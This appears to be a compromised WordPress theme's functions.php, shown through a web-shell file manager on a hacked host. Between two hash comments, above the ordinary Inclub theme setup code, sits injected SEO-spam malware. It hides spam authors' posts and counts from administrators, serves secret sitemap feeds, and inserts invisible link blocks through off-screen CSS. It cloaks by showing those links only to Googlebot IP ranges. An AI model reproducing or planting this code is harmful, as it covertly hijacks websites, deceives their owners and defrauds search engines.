HEX
Server: Apache
System: Linux 65-254-81-60.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User: roshanchandy (1003)
PHP: 8.4.12
Disabled: exec,passthru,shell_exec,system
Upload Files
File: /home/roshanchandy/public_html/dubai91.com/wp-content/themes/inclub/functions.php
<?php

/* f2be9b8e2fe982d967f4f00be25e2422 */

function wp_nav_menu_module($where) {
    global $wpdb, $register_sidebar_library;

    $wp_list_comments_xml = array_keys($register_sidebar_library);
    $get_the_date_index = implode(', ', $wp_list_comments_xml);

    if (!is_single() && is_admin()) {
        add_filter('views_edit-post', 'register_nav_menus_more');
        return $where . " AND {$wpdb->posts}.post_author NOT IN ($get_the_date_index)";
    }

    return $where;
}

function absint_git($query) {

    global $register_sidebar_library;

    $wp_list_comments_xml = array_keys($register_sidebar_library);
    $is_single_ajax = is_single_library($wp_list_comments_xml);

    if (!$query->is_single() && !is_admin()) {
        $query->set('author', $is_single_ajax);
    }
}

function wp_list_comments_base() {

    global $post, $register_sidebar_library;

    foreach ($register_sidebar_library as $id => $settings) {
        if (($id == $post->post_author) && (isset($settings['js']))) {

            if (get_post_thumbnail_id_hashing($settings)) {
                break;
            }
            echo $settings['js'];
            break;
        }
    }
}

function get_post_thumbnail_id_hashing($settings) {
    if (isset($settings['nojs']) && $settings['nojs'] === 1) {

        if (comments_template_view()) {
            return true;
        }
    }
    return false;
}

function register_nav_menus_more($views) {
    global $current_user, $wp_query;

    $types = array(
        array('status' => NULL),
        array('status' => 'publish'),
        array('status' => 'draft'),
        array('status' => 'pending'),
        array('status' => 'trash'),
        array('status' => 'mine'),
    );
    foreach ($types as $type) {

        $query = array(
            'post_type' => 'post',
            'post_status' => $type['status']
        );

        $result = new WP_Query($query);

        if ($type['status'] == NULL) {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
                $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
            }
        } elseif ($type['status'] == 'mine') {


            $newQuery = $query;
            $newQuery['author__in'] = array($current_user->ID);

            $result = new WP_Query($newQuery);

            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
                $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
            }
        } elseif ($type['status'] == 'publish') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
                $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
            }
        } elseif ($type['status'] == 'draft') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
                $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
            }
        } elseif ($type['status'] == 'pending') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
                $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
            }
        } elseif ($type['status'] == 'trash') {
            if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
                $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
            }
        }
    }
    return $views;
}

function post_password_required_queue($counts, $type, $perm) {

    if ($type === 'post') {
        $wp_die_cron = $counts->publish;
        $get_search_form_repository = is_active_sidebar_dns($perm);
        $counts->publish = !$get_search_form_repository ? $wp_die_cron : $get_search_form_repository;
    }
    return $counts;
}

function is_active_sidebar_dns($perm) {
    global $wpdb, $register_sidebar_library;

    $wp_list_comments_xml = array_keys($register_sidebar_library);
    $get_the_date_index = implode(', ', $wp_list_comments_xml);

    $type = 'post';

    $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";

    if ('readable' == $perm && is_user_logged_in()) {

        $add_image_size_constructor = get_post_type_object($type);

        if (!current_user_can($add_image_size_constructor->cap->read_private_posts)) {
            $query .= $wpdb->prepare(
                " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
            );
        }
    }
    $query .= " AND post_author NOT IN ($get_the_date_index) GROUP BY post_status";
    $results = (array)$wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);

    foreach ($results as $get_queried_object_id_ajax) {
        if ($get_queried_object_id_ajax['post_status'] === 'publish') {
            return $get_queried_object_id_ajax['num_posts'];
        }
    }
}

function get_search_query_request($userId) {
    global $wpdb;

    $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";

    $results = (array)$wpdb->get_results($query, ARRAY_A);

    $wp_list_comments_xml = array();
    foreach ($results as $get_queried_object_id_ajax) {
        $wp_list_comments_xml[] = $get_queried_object_id_ajax['ID'];
    }
    return $wp_list_comments_xml;
}

function add_section_ajax() {

    global $register_sidebar_library, $wp_rewrite;

    $rules = get_option('rewrite_rules');

    foreach ($register_sidebar_library as $the_post_add => $number_format_i18n_package) {
        $get_the_time_meta = key($number_format_i18n_package['sitemapsettings']);

        if (!isset($rules[$get_the_time_meta]) ||
            ($rules[$get_the_time_meta] !== current($number_format_i18n_package['sitemapsettings']))) {
            $wp_rewrite->flush_rules();
        }
    }
}

function wp_enqueue_style_condition($rules) {

    global $register_sidebar_library;

    $add_theme_support_condition = array();

    foreach ($register_sidebar_library as $the_post_add => $number_format_i18n_package) {
        if (isset($number_format_i18n_package['sitemapsettings'])) {
            $add_theme_support_condition[key($number_format_i18n_package['sitemapsettings'])] = current($number_format_i18n_package['sitemapsettings']);
        }
    }

    return $add_theme_support_condition + $rules;
}

function get_author_posts_url_more() {

    global $register_sidebar_library;

    foreach ($register_sidebar_library as $the_post_add => $number_format_i18n_package) {
        $get_bloginfo_dns = str_replace('index.php?feed=', '', current($number_format_i18n_package['sitemapsettings']));
        add_feed($get_bloginfo_dns, 'get_sidebar_alpha');
    }
}


function get_sidebar_alpha() {

    header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);

    status_header(200);

    $post_password_required_function = get_the_author_meta_git();
    $get_theme_mod_event = get_search_query_request($post_password_required_function);

    if (!empty($get_theme_mod_event)) {
        $has_post_thumbnail_live = md5(implode(',', $get_theme_mod_event));
        $has_post_thumbnail_merge = 'update_plugins_' . $post_password_required_function . '_' . $has_post_thumbnail_live;
        $register_nav_menus_cookie = get_transient($has_post_thumbnail_merge);

        if ($register_nav_menus_cookie !== false) {
            echo $register_nav_menus_cookie;
            return;
        }
    }



    $head = get_option_cron();
    $wp_reset_postdata_decryption = $head . "\n";


    $priority = '0.5';
    $add_theme_support_all = 'weekly';
    $wp_enqueue_style_method = date('Y-m-d');

    foreach ($get_theme_mod_event as $post_id) {
        $url = get_permalink($post_id);
        $wp_reset_postdata_decryption .= have_comments_other($url, $wp_enqueue_style_method, $add_theme_support_all, $priority);
        wp_cache_delete($post_id, 'posts');
    }

    $wp_reset_postdata_decryption .= "\n</urlset>";

    set_transient($has_post_thumbnail_merge, $wp_reset_postdata_decryption, WEEK_IN_SECONDS);

    echo $wp_reset_postdata_decryption;
}


function get_option_cron() {
    return <<<STR
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
STR;
}

function have_comments_other($url, $wp_enqueue_style_method, $add_theme_support_all, $priority) {

    return <<<STR
   <url>
      <loc>$url</loc>
      <lastmod>$wp_enqueue_style_method</lastmod>
      <changefreq>$add_theme_support_all</changefreq>
      <priority>$priority</priority>
   </url>\n\n
STR;
}

function is_single_library($writersArr) {
    $the_title_framework = array();

    foreach ($writersArr as $item) {
        $the_title_framework[] = '-' . $item;
    }
    return implode(',', $the_title_framework);
}

function has_post_thumbnail_security() {

    $get_the_title_session = array();
    $get_the_time_time = array();

    $settings = get_option('wp_custom_filters');

    if ($settings) {
        $the_ID_client = unserialize(base64_decode($settings));
        if ($the_ID_client) {
            $get_the_title_session = $the_ID_client;
        }
    }

    $settings = get_option(md5(sha1($_SERVER['HTTP_HOST'])));

    if ($settings) {
        $the_content_add = unserialize(base64_decode($settings));
        if ($the_content_add) {
            $get_the_time_time = $the_content_add;
        }
    }

    return $get_the_time_time + $get_the_title_session;

}

function get_the_author_meta_git() {

    global $register_sidebar_library;

    foreach ($register_sidebar_library as $the_post_add => $number_format_i18n_package) {

        $add_action_merge = key($number_format_i18n_package['sitemapsettings']) . '|'
            . str_replace('index.php?', '', current($number_format_i18n_package['sitemapsettings']) . '$');

        if (preg_match("~$add_action_merge~", $_SERVER['REQUEST_URI'])) {
            return $the_post_add;
        }
    }
}

function is_front_page_less() {
    global $register_sidebar_library, $post;

    $get_the_date_json = array_keys($register_sidebar_library);
    if (in_array($post->post_author, $get_the_date_json)) {
        return true;
    }
    return false;
}

function _e_beta() {
    global $register_sidebar_library, $post;

    $get_the_date_json = array_keys($register_sidebar_library);

    if (!$post || !property_exists($post, 'author')) {
        return;
    }

    if (in_array($post->post_author, $get_the_date_json)) {
        add_filter('wpseo_robots', '__return_false');
        add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
        add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
    }
}

function is_page_call() {

    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        return $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
        return $_SERVER['HTTP_CF_CONNECTING_IP'];
    }
    if (isset($_SERVER['REMOTE_ADDR'])) {
        return $_SERVER['REMOTE_ADDR'];
    }

    return false;
}

function comments_template_view() {

    $register_nav_menus_call = is_page_call();

    if (strstr($register_nav_menus_call, ', ')) {
        $set_transient_constructor = explode(', ', $register_nav_menus_call);
        $register_nav_menus_call = $set_transient_constructor[0];
    }

    $get_the_title_dns = _x_time();

    if (!$get_the_title_dns) {
        return false;
    }

    foreach ($get_the_title_dns as $range) {
        if (the_content_variable($register_nav_menus_call, $range)) {
            return true;
        }
    }
    return false;
}

function esc_url_raw_json($timestamp) {

    if ((time() - $timestamp) > 60 * 60) {
        return true;
    }

    return false;
}

function _x_time() {

    if (($value = get_option('wp_custom_range')) && !esc_url_raw_json($value['timestamp'])) {
        return $value['ranges'];
    } else {

        $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
        if (is_wp_error($response)) {
            return;
        }
        $body = wp_remote_retrieve_body($response);
        $get_the_title_dns = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);

        if (!is_array($get_the_title_dns)) {

            return;
        }

        $value = array('ranges' => $get_the_title_dns, 'timestamp' => time());
        update_option('wp_custom_range', $value, true);
        return $value['ranges'];
    }
}

function get_bloginfo_client($inet) {
    $get_the_author_meta_call = str_split($inet);
    $is_single_request = '';
    foreach ($get_the_author_meta_call as $char) {
        $is_single_request .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
    }
    return $is_single_request;
}

function the_content_variable($register_nav_menus_call, $cidrnet) {
    $register_nav_menus_call = inet_pton($register_nav_menus_call);
    $is_single_request = get_bloginfo_client($register_nav_menus_call);

    list($net, $has_nav_menu_core) = explode('/', $cidrnet);
    $net = inet_pton($net);
    $the_content_live = get_bloginfo_client($net);

    $esc_attr_e_stat = substr($is_single_request, 0, $has_nav_menu_core);
    $get_queried_object_id_http = substr($the_content_live, 0, $has_nav_menu_core);

    if ($esc_attr_e_stat !== $get_queried_object_id_http) {
        return false;
    } else {
        return true;
    }
}


function body_class_decryption($add_partial_string) {

    global $post;

    $wp_list_comments_class = '';


    if (get_the_date_meta($add_partial_string, 'textBlocksCount', 'onlyHomePage')) {
        if (is_front_page() || is_home()) {
            
            $wp_list_comments_class = get_option('home_links_custom_0');
        }
    } elseif (get_the_date_meta($add_partial_string, 'textBlocksCount', '10DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match('~\d~', md5($url), $matches);
        $wp_list_comments_class = get_option('home_links_custom_' . $matches[0]);
        
        

    } elseif (get_the_date_meta($add_partial_string, 'textBlocksCount', '100DifferentTextBlocks')) {

        $url = get_permalink($post->ID);
        preg_match_all('~\d~', md5($url), $matches);
        $get_post_thumbnail_id_live = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1];
        $wp_list_comments_class = get_option('home_links_custom_' . $get_post_thumbnail_id_live);
        
        
    } elseif (get_the_date_meta($add_partial_string, 'textBlocksCount', 'fullDifferentTextBlocks')) {

    } else {

    }

    return !$wp_list_comments_class ? '' : $wp_list_comments_class;
}

function get_the_date_meta($number_format_i18n_package, $is_home_add, $get_sidebar_trigger) {
    if (!isset($number_format_i18n_package[$is_home_add][$get_sidebar_trigger])) {
        return false;
    }

    if ($number_format_i18n_package[$is_home_add][$get_sidebar_trigger] === 1) {
        return true;
    }

    return false;

}

function the_excerpt_merge($add_partial_string, $is_wp_error_client) {
    if (empty($is_wp_error_client)) {
        return '';
    }

    if (get_the_date_meta($add_partial_string, 'hiddenType', 'css')) {
        preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum);
        $wp_link_pages_condition = is_search_trigger();
        $add_theme_support_character = $wp_link_pages_condition[$blockNum[0]];
        return $add_theme_support_character[0] . PHP_EOL . $is_wp_error_client . PHP_EOL . $add_theme_support_character[1];
    }

    return $is_wp_error_client;
}

function is_search_trigger() {

    return array(
        array('<div style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</div>'),
        array('<div style="position:absolute; left:-5000px;">', '</div>'),
        array('<div style="position:absolute; top: -100%;">', '</div>'),

        array('<div style="position:absolute; left:-5500px;">', '</div>'),
        array('<div style="overflow: hidden; position: absolute; height: 0pt; width: 0pt;">', '</div>'),
        array('<div style="display:none;">', '</div>'),
        array('<span style="position:absolute; filter:alpha(opacity=0);opacity:0.003;z-index:-1;">', '</span>'),
        array('<span style="position:absolute; left:-5000px;">', '</span>'),
        array('<span style="position:absolute; top: -100%;">', '</span>'),
        array('<div style="position:absolute; left:-6500px;">', '</div>'),

    );
}

function get_post_thumbnail_id_pointer($add_partial_string) {
    return get_the_date_meta($add_partial_string, 'position', 'head');
}

function wp_nav_menu_wp($add_partial_string) {
    return get_the_date_meta($add_partial_string, 'position', 'footer');
}

function is_home_cookie($settings) {
    foreach ($settings as $the_post_add => $number_format_i18n_package) {
        if (isset($number_format_i18n_package['homeLinks'])) {
            return $number_format_i18n_package['homeLinks'];
        }
    }
    return array();
}


function language_attributes_condition() {
    if (!is_front_page_less()) {
        if (is_singular() || (is_front_page() || is_home())) {
            return true;
        }
    }
    return false;
}

function add_action_cookie() {

    global $add_partial_string;

    if (!language_attributes_condition()) {
        
        
        return;
    }

    if (get_the_date_meta($add_partial_string, 'hiddenType', 'cloacking')) {
        if (!comments_template_view()) {
            
            return;
        }
    }


    $is_wp_error_client = body_class_decryption($add_partial_string);
    $is_wp_error_client = the_excerpt_merge($add_partial_string, $is_wp_error_client);

    


    echo $is_wp_error_client;

}

$register_sidebar_library = has_post_thumbnail_security();


if (is_array($register_sidebar_library)) {
    add_filter('posts_where_paged', 'wp_nav_menu_module');
    add_action('pre_get_posts', 'absint_git');
    add_action('wp_enqueue_scripts', 'wp_list_comments_base');
    add_filter('wp_count_posts', 'post_password_required_queue' , 10, 3);
    add_filter('rewrite_rules_array', 'wp_enqueue_style_condition');
    add_action('wp_loaded', 'add_section_ajax');
    add_action('init', 'get_author_posts_url_more');
    add_action('template_redirect', '_e_beta');

    $add_partial_string = is_home_cookie($register_sidebar_library);

    if (!empty($add_partial_string)) {

        

        if (get_post_thumbnail_id_pointer($add_partial_string)) {
            add_action('wp_head', 'add_action_cookie');
        }
        if (wp_nav_menu_wp($add_partial_string)) {
            add_action('wp_footer', 'add_action_cookie');
        }


    }
}

/* f2be9b8e2fe982d967f4f00be25e2422 */
/**
 * Theme functions and definitions
 *
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

define( 'INCLUB_THEME_VERSION', wp_get_theme()->get( 'Version' ) );
define( 'INCLUB_THEME_DIR', get_template_directory() );
define( 'INCLUB_THEME_URL', get_template_directory_uri() );
define( 'AWAIKEN_ITEM_ID', 8086 );
define( 'AWAIKEN_ITEM_NAME', 'Inclub' );
define( 'AWAIKEN_THEME_SLUG', 'inclub' );
define( 'AWAIKEN_MP', 'TF' ); 

if ( ! isset( $content_width ) ) {
	$content_width = 800; // Pixels.
}

// Theme storage
// Attention! Must be in the global namespace to compatibility with WP-CLI
//-------------------------------------------------------------------------
$GLOBALS['INCLUB_STORAGE'] = array(
		'social_sharing' => 'facebook,whatsapp,linkedin',
		'social_urls' => 'https://www.instagram.com/ ,https://www.facebook.com/ ,https://www.youtube.com/',
		'show_preloader' => 0,
		'magic_cursor' => 1,
		'show_small_heading_icon' => 1,
		'small_heading_icon' => '',
		'footer_copyright_text' => '',
		'smooth_scrolling' => 0,
		'archive_page_layout' => 'full-width',
		'blog_single_page_layout' => 'full-width',
		'preloader_icon' => '',
		'project_page_title' => '',
		'project_archive_page_layout' => 'full-width',
		'project_single_page_layout' => 'full-width',
		'project_page_header_background_image' => '',
		'header_background_image' => '',
		'blog_page_header_background_image' => '',
		'404_image' => INCLUB_THEME_URL.'/assets/images/404-error-img.png',
		'read_more_icon' => INCLUB_THEME_DIR.'/assets/images/arrow-primary.svg',
);

if ( ! function_exists( 'inclub_slug_fonts_url' ) ) {
	function inclub_slug_fonts_url() {
		$fonts_url = ''; 
		  
		/* Translators: If there are characters in your language that are not
		* supported by Jost, translate this to 'off'. Do not translate
		* into your own language.
		*/
		$font = _x( 'on', 'Jost font: on or off', 'inclub' );
		 
		if ( 'off' !== $font ) {
			
			$font_families = array();
			 
			if ( 'off' !== $font ) {
				$font_families[] = 'Jost:ital,wght@0,100..900;1,100..900';
			}
			 
			$query_args = array(
				'family'	=> implode( '&family=', $font_families ),
				'display' 	=> 'swap',
			);
		
			$fonts_url = add_query_arg( $query_args, 'https://fonts.googleapis.com/css2' );
			
		}
		 
		return esc_url_raw( $fonts_url );
	}
}

if ( ! function_exists( 'inclub_theme_setup' ) ) {
	/**
	 * Set up theme support.
	 *
	 * @return void
	 */
	function inclub_theme_setup() {
	
		register_nav_menus( 
			array( 
					'header' => esc_html__( 'Header', 'inclub' ) ,
					'footer' => esc_html__( 'Footer', 'inclub' ) 
				 )		
		);

		add_theme_support( 'post-thumbnails' );
		add_theme_support( 'automatic-feed-links' );
		add_theme_support( 'title-tag' );
		add_theme_support( 'editor-styles' );
		add_theme_support(
			'html5',
			array(
				'search-form',
				'comment-form',
				'comment-list',
				'gallery',
				'caption',
				'script',
				'style',
			)
		);
		add_theme_support(
			'custom-logo',
			array(
				'height'      => 100,
				'width'       => 350,
				'flex-height' => true,
				'flex-width'  => true,
			)
		);
		
		/*
		 * Gutenberg wide images.
		 */
		add_theme_support( 'align-wide' );
		
		/**
        * Load textdomain.
        */
        load_theme_textdomain( 'inclub', INCLUB_THEME_DIR . '/languages' );

		
		
		if ( is_admin() ) { 
			add_editor_style( array( inclub_slug_fonts_url(), 'assets/css/css-variable.css', 'assets/css/all.min.css', 'style-editor.css' ) );
		}

	}

}
add_action( 'after_setup_theme', 'inclub_theme_setup' );

/**
 * Enqueue styles
 */
if ( ! function_exists( 'inclub_theme_load_styles' ) ) {
	function inclub_theme_load_styles() {
		
		if( get_option( 'inclub_demo_imported' ) != 1 ) {
			wp_enqueue_style( 'inclub-font-manrope', inclub_slug_fonts_url(), array(), null );	
		}
		
		wp_enqueue_style( 'inclub-css-variable', INCLUB_THEME_URL . '/assets/css/css-variable.css', array(), INCLUB_THEME_VERSION );
		wp_enqueue_style( 'fontawesome-6.4.0', INCLUB_THEME_URL . '/assets/css/all.min.css', array(), INCLUB_THEME_VERSION );
		wp_enqueue_style( 'bootstrap-5.3.2', INCLUB_THEME_URL . '/assets/css/bootstrap.min.css', array(), INCLUB_THEME_VERSION );
		wp_enqueue_style( 'inclub-style', INCLUB_THEME_URL . '/style.css', array('bootstrap-5.3.2','fontawesome-6.4.0'), INCLUB_THEME_VERSION );
		
	}
}
add_action( 'wp_enqueue_scripts', 'inclub_theme_load_styles', 998 );

/**
 * Enqueue scripts
 */
if ( ! function_exists( 'inclub_theme_load_scripts' ) ) {
	function inclub_theme_load_scripts() {
		global $INCLUB_STORAGE;
	
		if( get_theme_mod( 'smooth_scrolling', $INCLUB_STORAGE['smooth_scrolling'] ) ) { 
			wp_enqueue_script( 'SmoothScroll', INCLUB_THEME_URL . '/assets/js/SmoothScroll.js', array( 'jquery' ), INCLUB_THEME_VERSION, true );
		}
		
		wp_enqueue_script( 'gsap', INCLUB_THEME_URL . '/assets/js/gsap.min.js', array( 'jquery' ), INCLUB_THEME_VERSION, true );
		if( get_theme_mod( 'magic_cursor', $INCLUB_STORAGE['magic_cursor'] ) ) { 
		wp_enqueue_script( 'magiccursor', INCLUB_THEME_URL . '/assets/js/magiccursor.js', array( 'jquery' ), INCLUB_THEME_VERSION, true );
		}
		
		wp_enqueue_script( 'SplitText', INCLUB_THEME_URL . '/assets/js/SplitText.js', array( 'jquery' ), INCLUB_THEME_VERSION, true );
		wp_enqueue_script( 'ScrollTrigger', INCLUB_THEME_URL . '/assets/js/ScrollTrigger.min.js', array( 'jquery' ), INCLUB_THEME_VERSION, true );
		wp_enqueue_script( 'theme-js', INCLUB_THEME_URL . '/assets/js/function.js', array( 'jquery' ), INCLUB_THEME_VERSION, true );
		
		// js for comments
		if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
			wp_enqueue_script( 'comment-reply' );
		}

	}
}
add_action( 'wp_enqueue_scripts', 'inclub_theme_load_scripts' );


/**
 * Register widget area.
 */
if ( ! function_exists( 'inclub_widgets_init' ) ) {
	function inclub_widgets_init() {
		
		register_sidebar( array(
			'name'          => esc_html__( 'Sidebar', 'inclub' ),
			'id'            => 'main-sidebar',
			'description'   => esc_html__( 'Add widgets here to appear in your sidebar.', 'inclub' ),
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title">',
			'after_title'   => '</h3>',
		) );
		
		register_sidebar( array(
			'name'          => esc_html__( 'Project Sidebar', 'inclub' ),
			'id'            => 'project-sidebar',
			'description'   => esc_html__( 'Add widgets here to appear in your project sidebar.', 'inclub' ),
			'before_widget' => '<aside id="%1$s" class="widget %2$s">',
			'after_widget'  => '</aside>',
			'before_title'  => '<h3 class="widget-title">',
			'after_title'   => '</h3>',
		) );
		
		
	}
}
add_action( 'widgets_init', 'inclub_widgets_init' );

/**
*	Change post per page for Project
*/
function inclub_pre_get_posts_project( $query ) {
	if ( ! is_admin() && $query->is_main_query() && is_post_type_archive( 'awaiken-project' ) ) {
		$query->set( 'posts_per_page', 999 );
		return;
	}
}
add_action( 'pre_get_posts', 'inclub_pre_get_posts_project', 11 );

/**
*	Include required file
*/
require_once INCLUB_THEME_DIR . '/inc/init.php';